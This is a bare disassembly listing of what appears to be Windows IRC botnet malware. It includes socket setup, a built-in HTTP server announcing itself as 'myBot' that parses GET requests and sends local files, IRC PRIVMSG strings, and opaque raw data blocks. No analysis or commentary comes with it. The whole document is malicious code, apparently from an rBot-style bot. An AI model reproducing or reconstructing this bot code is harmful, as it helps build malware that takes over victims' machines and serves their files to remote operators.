dd 0FF57F87Dh, 0DC458DD6h, 667E6850h, 90578004h, 6A2B35E8h
dd 90A16671h, 83004CB3h, 5000B865h, 0B445C766h, 15FF0002h
dd 4CB654h, 0B6458966h, 6AB4458Dh, 90575010h, 6A5481E8h
dd 7DC08571h, 0E9C38B07h, 560h, 90570A6Ah, 6A7381E8h, 0D49D8971h
dd 8BFFFFFDh, 4272241Dh, 0D8BD8900h, 89FFFFFDh, 416AFC7Dh
dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
dd 56FFFFFBh, 8B505656h, 5040FC45h, 2DF2E890h, 0F883716Ah
dd 0E840FFFh, 33000005h, 0FC7539FFh, 7C087D89h, 6AF633C5h
dd 60858D64h, 56FFFFFDh, 0CACEE850h, 646A0000h, 0FF50858Dh
dd 5056FFFFh, 0CABFE8h, 18C48300h, 0FBC4858Dh, 5750FFFFh
dd 17C75E8h, 0FC08500h, 4BA84h, 0F87D3B00h, 458D7A75h
dd 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 0E8F875FFh
dd 716A9B85h, 0FFF88390h, 491840Fh, 0C9330000h, 0FDD4B539h
dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h
dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h
dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh
dd 0FC458903h, 68156A56h, 433ED4h, 0E9D3FF50h, 43Bh, 60858D56h
dd 6AFFFFFDh, 0E8575064h, 716A6B18h, 7FC08590h, 0D4958B52h
dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h
dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh
dd 4508BFFh, 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah
dd 0D48DFFECh, 57FFFFFDh, 2EA3E890h, 0D4E9716Ah, 8D000003h
dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh
dd 433ECCh, 0DA57E850h, 858D0000h, 0FFFFFF50h, 433EC468h
dd 71E85000h, 830000D4h, 0C08518C4h, 6A560D75h, 3EAC6816h
dd 82E90043h, 8D000000h, 0FFFF5085h, 3EA468FFh, 0E8500043h
dd 0D44Ch, 59C08559h, 6A560A75h, 3E8C6814h, 61EB0043h
dd 0FF50858Dh, 8468FFFFh, 5000433Eh, 0D42BE8h, 0C0855900h
dd 560A7559h, 74680D6Ah, 0EB00433Eh, 50858D40h, 68FFFFFFh
dd 433E6Ch, 0D40AE850h, 85590000h, 0A7559C0h, 68106A56h
dd 433E58h, 858D1FEBh, 0FFFFFF50h, 433E5468h, 0E9E85000h
dd 590000D3h, 7559C085h, 1E6A560Eh, 433E3468h, 0F1E95700h
dd 0BF000002h, 433E2Ch, 0FF50858Dh, 5057FFFFh, 0D3C3E8h
dd 0C0855900h, 8D247559h, 0FFFCC885h, 3E2868FFh, 0E8500043h
dd 0D3ACh, 59C08559h, 6A560D75h, 3E146813h, 0B2E90043h
dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D38Ch, 59C08559h
dd 858D2475h, 0FFFFFCC8h, 433E1068h, 75E85000h, 590000D3h
dd 7559C085h, 136A560Dh, 433DFC68h, 27BE900h, 858D0000h
dd 0FFFFFF50h, 433DF468h, 51E85000h, 590000D3h, 7559C085h
dd 0BE0A6A34h, 433DC8h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h
dd 0FFFFFED8h, 0E8A56650h, 0C29Ch, 858D5059h, 0FFFFFED8h
dd 875FF50h, 0F633D3FFh, 235E9h, 50858D00h, 68FFFFFFh
dd 433DC0h, 0D306E850h, 85590000h, 2A7559C0h, 0A8BE056Ah
dd 5900433Dh, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h
dd 0E8A450FFh, 0C250h, 858D5059h, 0FFFFFF38h, 858DB2EBh
dd 0FFFFFF50h, 433DA068h, 0C5E85000h, 590000D2h, 0F59C085h
dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh
dd 8D50EC45h, 8D50E845h, 8D50E045h, 8D50D845h, 0FFFD6085h
dd 3D7868FFh, 0E8500043h, 0D861h, 0FF04858Dh, 0E850FFFFh
dd 0C989h, 858DF88Bh, 0FFFFFD2Ch, 0C97BE850h, 45890000h
dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C780h, 8D34C483h
dd 0FFFF0485h, 0F475FFFFh, 3D706857h, 0E8500043h, 0CA5Eh
dd 858D106Ah, 0FFFFFF04h, 8EE85056h, 830000CFh, 45891CC4h
dd 0EC458DF4h, 0E8458D50h, 0E0458D50h, 0D8458D50h, 0C4458D50h
dd 433D6468h, 2BE85000h, 830000CAh, 6A5618C4h, 3D44681Dh
dd 1EE90043h, 8D000001h, 0FFFF5085h, 3D3C68FFh, 0E8500043h
dd 0D1F4h, 59C08559h, 0E4850Fh, 6A560000h, 3D106828h, 75FF0043h
dd 0FFD3FF08h, 458DF475h, 20E850C4h, 59000001h, 5901F883h
dd 0B6850Fh, 458D0000h, 858D50C4h, 0FFFFF720h, 433CF468h
dd 0C7E85000h, 830000C9h, 0B5390CC4h, 0FFFFFBBCh, 8D562375h
dd 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh
dd 0FFF920B5h, 0AB89E8FFh, 0C483FFFFh, 14AE814h, 0F8830000h
dd 93850F01h, 56000000h, 0DC68176Ah, 0FF00433Ch, 0D3FF0875h
dd 50C4458Dh, 0F720858Dh, 0BC68FFFFh, 5000433Ch, 0C969E8h
dd 0CC48300h, 0FBBCB539h, 2375FFFFh, 20858D56h, 0FFFFFFF7h
dd 0FFFBB8B5h, 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h
dd 0FFFFAB2Bh, 8D14C483h, 0FFF72085h, 56E850FFh, 0FF000062h
dd 4CE16005h, 2EEB5900h, 68206A56h, 433C98h, 858D1FEBh
dd 0FFFFFF50h, 42D08868h, 0F5E85000h, 590000D0h, 7559C085h
dd 1B6A560Dh, 433C7C68h, 875FF00h, 646AD3FFh, 0FD60858Dh
dd 5056FFFFh, 0C5F3E8h, 87D8B00h, 470CC483h, 89FC7D3Bh
dd 8E0F087Dh, 0FFFFFB01h, 0FFFAC1E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp-1A0h]
push eax
push 101h
nop
call near ptr 71AB41DAh
push 0
push 1
push 2
call near ptr 71AB3C22h
nop
push dword ptr [ebp+8]
mov dword_4CE3A8, eax
mov word ptr [ebp-10h], 2
call near ptr 71AB12F8h
nop
push dword ptr [ebp+0Ch]
mov [ebp-0Ch], eax
nop
call near ptr 71AB1746h
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push dword_4CE3A8
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_40F037
push dword_4CE3A8
nop
call near ptr 71AB1A6Dh
call near ptr 71AB1836h
nop
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40F037: ; CODE XREF: ___:0040F01Fj
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp-104h]
push 104h
push eax
push 0
nop
call near ptr 26A0000h
lea eax, [ebp-104h]
push offset dword_429068
push eax
call sub_41B4C2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40F0D3
test byte ptr [esi+0Ch], 10h
jnz short loc_40F0B7
push edi
mov edi, 400h
loc_40F07F: ; CODE XREF: ___:0040F0B4j
push esi
push 1
lea eax, [ebp-504h]
push edi
push eax
call sub_41B11A
add esp, 10h
lea eax, [ebp-504h]
push 0
push edi
push eax
push dword_4CE3A8
call near ptr 71AB1AF4h
nop
push 1
nop
call near ptr 26A0F44h
test byte ptr [esi+0Ch], 10h
jz short loc_40F07F
pop edi
loc_40F0B7: ; CODE XREF: ___:0040F077j
push esi
call sub_41B05B
pop ecx
push dword_4CE3A8
nop
call near ptr 71AB1A6Dh
nop
call near ptr 71AB1836h
push 1
pop eax
loc_40F0D3: ; CODE XREF: ___:0040F071j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F0D6 proc near ; DATA XREF: sub_401ACD+2284o
; sub_40BACE+475o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41BB20
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41B590
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4CB654
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4CB6D4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40F4C1
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43E59C[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CB680
cmp eax, 0FFFFFFFFh
jz loc_40F4C1
push 7FFFFFFFh
push edi
call dword_4CB67C
cmp eax, 0FFFFFFFFh
jz loc_40F4C1
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4CB6F0
cmp eax, 0FFFFFFFFh
jz loc_40F4C1
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40F1AD: ; CODE XREF: sub_40F0D6+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4CB63C
cmp eax, 0FFFFFFFFh
jz loc_40F4BC
xor esi, esi
mov [ebp+var_4], esi
loc_40F1E3: ; CODE XREF: sub_40F0D6+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4CB540
test eax, eax
jz loc_40F4A7
cmp esi, [ebp+var_C]
jnz short loc_40F265
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4CB6E8
cmp eax, 0FFFFFFFFh
jz loc_40F4A7
xor ecx, ecx
test ebx, ebx
jbe short loc_40F237
lea edx, [ebp+var_134]
loc_40F22B: ; CODE XREF: sub_40F0D6+15Fj
cmp [edx], eax
jz short loc_40F237
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40F22B
loc_40F237: ; CODE XREF: sub_40F0D6+14Dj
; sub_40F0D6+157j
cmp ecx, ebx
jnz short loc_40F254
cmp ebx, 40h
jnb short loc_40F254
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40F254: ; CODE XREF: sub_40F0D6+163j
; sub_40F0D6+168j
cmp eax, [ebp+var_8]
jbe loc_40F4A7
mov [ebp+var_8], eax
jmp loc_40F4A7
; ---------------------------------------------------------------------------
loc_40F265: ; CODE XREF: sub_40F0D6+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41B590
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B590
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4CB66C
test eax, eax
jg short loc_40F2F8
push esi
call dword_4CB6EC
xor ecx, ecx
test ebx, ebx
jbe loc_40F4A7
lea eax, [ebp+var_134]
loc_40F2B7: ; CODE XREF: sub_40F0D6+1EBj
cmp [eax], esi
jz short loc_40F2C8
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40F2B7
jmp loc_40F4A7
; ---------------------------------------------------------------------------
loc_40F2C8: ; CODE XREF: sub_40F0D6+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40F2EC
lea eax, [ebp+ecx*4+var_134]
loc_40F2D6: ; CODE XREF: sub_40F0D6+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40F2D6
loc_40F2EC: ; CODE XREF: sub_40F0D6+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40F4A7
; ---------------------------------------------------------------------------
loc_40F2F8: ; CODE XREF: sub_40F0D6+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41B590
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_41AFE0
add esp, 10h
test eax, eax
jbe loc_40F4A7
loc_40F326: ; CODE XREF: sub_40F0D6+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40F3CB
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_40F39F
lea eax, [ebp+var_18F0]
push eax
call sub_41AFE0
cmp eax, 5
pop ecx
jbe short loc_40F39F
mov eax, offset asc_42D128 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41B900
pop ecx
pop ecx
push eax
call sub_41B900
pop ecx
pop ecx
push eax
call sub_41C0F4
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41BEB0
add esp, 10h
jmp short loc_40F3B6
; ---------------------------------------------------------------------------
loc_40F39F: ; CODE XREF: sub_40F0D6+27Fj
; sub_40F0D6+291j
lea eax, [ebp+var_18F0]
push offset asc_433F14 ; "\r\n"
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_40F3EA
loc_40F3B6: ; CODE XREF: sub_40F0D6+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41B590
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40F3CB: ; CODE XREF: sub_40F0D6+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_41AFE0
cmp [ebp+arg_0], eax
pop ecx
jb loc_40F326
jmp loc_40F4A7
; ---------------------------------------------------------------------------
loc_40F3EA: ; CODE XREF: sub_40F0D6+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40F434
lea eax, [ebp+var_134]
loc_40F3F6: ; CODE XREF: sub_40F0D6+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40F407
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40F3F6
jmp short loc_40F437
; ---------------------------------------------------------------------------
loc_40F407: ; CODE XREF: sub_40F0D6+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40F42B
lea eax, [ebp+ecx*4+var_134]
loc_40F415: ; CODE XREF: sub_40F0D6+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40F415
loc_40F42B: ; CODE XREF: sub_40F0D6+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40F437
; ---------------------------------------------------------------------------
loc_40F434: ; CODE XREF: sub_40F0D6+318j
mov esi, [ebp+var_4]
loc_40F437: ; CODE XREF: sub_40F0D6+32Fj
; sub_40F0D6+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40F4A0
lea eax, [ebp+var_360]
push eax
call sub_41AFE0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41AFE0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40F4A0
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4CB6F0
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_40F6B4
add esp, 14h
jmp short loc_40F4A7
; ---------------------------------------------------------------------------
loc_40F4A0: ; CODE XREF: sub_40F0D6+369j
; sub_40F0D6+38Fj
push esi
call dword_4CB6EC
loc_40F4A7: ; CODE XREF: sub_40F0D6+11Dj
; sub_40F0D6+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40F1E3
jmp loc_40F1AD
; ---------------------------------------------------------------------------
loc_40F4BC: ; CODE XREF: sub_40F0D6+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40F4C1: ; CODE XREF: sub_40F0D6+6Aj
; sub_40F0D6+92j ...
call dword_4CB5E8
push eax
lea eax, [ebp+var_8F0]
push offset unk_433EEC
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40F507
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409A73
add esp, 14h
loc_40F507: ; CODE XREF: sub_40F0D6+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_4151AD
pop ecx
push edi
call dword_4CB6EC
push [ebp+var_254]
call sub_40B413
pop ecx
push ebx
call near ptr 2710000h
nop
pop edi
pop esi
pop ebx
sub_40F0D6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F531 proc near ; DATA XREF: sub_40F6B4+24Do
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41BB20
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax
lea eax, [ebp+var_654]
push eax
call sub_41B886
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_40F597
push offset aTextHtml ; "text/html"
jmp short loc_40F59C
; ---------------------------------------------------------------------------
loc_40F597: ; CODE XREF: sub_40F531+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_40F59C: ; CODE XREF: sub_40F531+64j
lea eax, [ebp+var_9C]
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
nop
call near ptr 2760000h
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call near ptr 275151Ch
nop
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_40F615
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41B886
add esp, 24h
jmp short loc_40F636
; ---------------------------------------------------------------------------
loc_40F615: ; CODE XREF: sub_40F531+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41B886
add esp, 28h
loc_40F636: ; CODE XREF: sub_40F531+E2j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_4CB6A4
cmp [ebp+var_A4], edi
jnz short loc_40F676
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_40FFF1
pop ecx
pop ecx
jmp short loc_40F693
; ---------------------------------------------------------------------------
loc_40F676: ; CODE XREF: sub_40F531+12Dj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_40F96B
add esp, 10h
loc_40F693: ; CODE XREF: sub_40F531+143j
push [ebp+var_44C]
call dword_4CB6EC
push [ebp+var_B4]
call sub_40B413
pop ecx
push edi
call near ptr 2710000h
nop
pop edi
pop esi
sub_40F531 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F6B4 proc near ; CODE XREF: sub_40F0D6+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41B590
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_40F6EA
push eax
push offset aS_3 ; "\\%s"
jmp short loc_40F6F3
; ---------------------------------------------------------------------------
loc_40F6EA: ; CODE XREF: sub_40F6B4+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_40F6F3: ; CODE XREF: sub_40F6B4+34j
lea eax, [ebp+var_10C]
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41AFE0
test eax, eax
pop ecx
jbe short loc_40F78E
mov [ebp+arg_8], 2
loc_40F71E: ; CODE XREF: sub_40F6B4+D8j
lea eax, [ebp+var_10C]
push eax
call sub_41AFE0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_40F75E
cmp [ebp+esi+var_10C], 25h
jnz short loc_40F75E
cmp [ebp+esi+var_10B], 32h
jnz short loc_40F75E
cmp [ebp+esi+var_10A], 30h
jnz short loc_40F75E
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_40F778
; ---------------------------------------------------------------------------
loc_40F75E: ; CODE XREF: sub_40F6B4+7Aj
; sub_40F6B4+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_40F76E
push 5Ch
pop eax
jmp short loc_40F771
; ---------------------------------------------------------------------------
loc_40F76E: ; CODE XREF: sub_40F6B4+B3j
movsx eax, al
loc_40F771: ; CODE XREF: sub_40F6B4+B8j
mov [ebp+ebx+var_210], al
loc_40F778: ; CODE XREF: sub_40F6B4+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41AFE0
cmp esi, eax
pop ecx
jb short loc_40F71E
loc_40F78E: ; CODE XREF: sub_40F6B4+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset dword_429AD0
push eax
call sub_41B886
lea eax, [ebp+var_314]
push offset asc_42A0A4 ; "\n"
push eax
call sub_41C0F4
add esp, 18h
lea eax, [ebp+var_314]
push eax
nop
call near ptr 26B0D2Fh
push 1
cmp eax, 10h
pop esi
jz short loc_40F7DF
cmp eax, 0FFFFFFFFh
jnz short loc_40F7E2
push [ebp+arg_0]
jmp loc_40F862
; ---------------------------------------------------------------------------
loc_40F7DF: ; CODE XREF: sub_40F6B4+11Cj
mov [ebp+var_4], esi
loc_40F7E2: ; CODE XREF: sub_40F6B4+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40F7EF
mov [ebp+var_4], esi
loc_40F7EF: ; CODE XREF: sub_40F6B4+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_40F86D
cmp [ebp+arg_C], edi
jz short loc_40F861
lea eax, [ebp+var_314]
push offset asc_4341A0 ; "*"
push eax
call sub_41BEC0
pop ecx
lea eax, [ebp+var_314]
pop ecx
push eax
lea eax, [ebp+var_640]
push eax
call sub_41B886
lea eax, [ebp+var_210]
push eax
call sub_4100AE
add esp, 0Ch
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41B886
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_40F8BC
; ---------------------------------------------------------------------------
loc_40F861: ; CODE XREF: sub_40F6B4+152j
push ebx
loc_40F862: ; CODE XREF: sub_40F6B4+126j
call dword_4CB6EC
jmp loc_40F964
; ---------------------------------------------------------------------------
loc_40F86D: ; CODE XREF: sub_40F6B4+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
nop
call near ptr 27308C8h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40F8BC
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41B886
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call near ptr 2760A61h
nop
push esi
mov [ebp+var_330], eax
nop
call near ptr 2690934h
loc_40F8BC: ; CODE XREF: sub_40F6B4+1ABj
; sub_40F6B4+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_43416C
push eax
call sub_41B886
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40B0F7
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43E594[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40F531
push edi
push edi
nop
call near ptr 26B0000h
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43E5A4[ecx], eax
jz short loc_40F936
loc_40F924: ; CODE XREF: sub_40F6B4+280j
cmp [ebp+var_318], edi
jnz short loc_40F964
push 5
call near ptr 26A0F44h
nop
jmp short loc_40F924
; ---------------------------------------------------------------------------
loc_40F936: ; CODE XREF: sub_40F6B4+26Ej
push ebx
call dword_4CB6EC
nop
call near ptr 26B0857h
push eax
lea eax, [ebp+var_8C4]
push offset unk_434134
push eax
call sub_41B886
lea eax, [ebp+var_8C4]
push eax
call sub_4151AD
add esp, 10h
loc_40F964: ; CODE XREF: sub_40F6B4+1B4j
; sub_40F6B4+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F6B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F96B proc near ; CODE XREF: sub_401ACD+777Bp
; sub_40F531+15Ap
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41B590
mov edi, [ebp+arg_0]
push offset asc_42A0A4 ; "\n"
push edi
call sub_41C0F4
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_40F9CA
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41B980
add esp, 14h
jmp loc_40FAC9
; ---------------------------------------------------------------------------
loc_40F9CA: ; CODE XREF: sub_40F96B+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_40FAAF
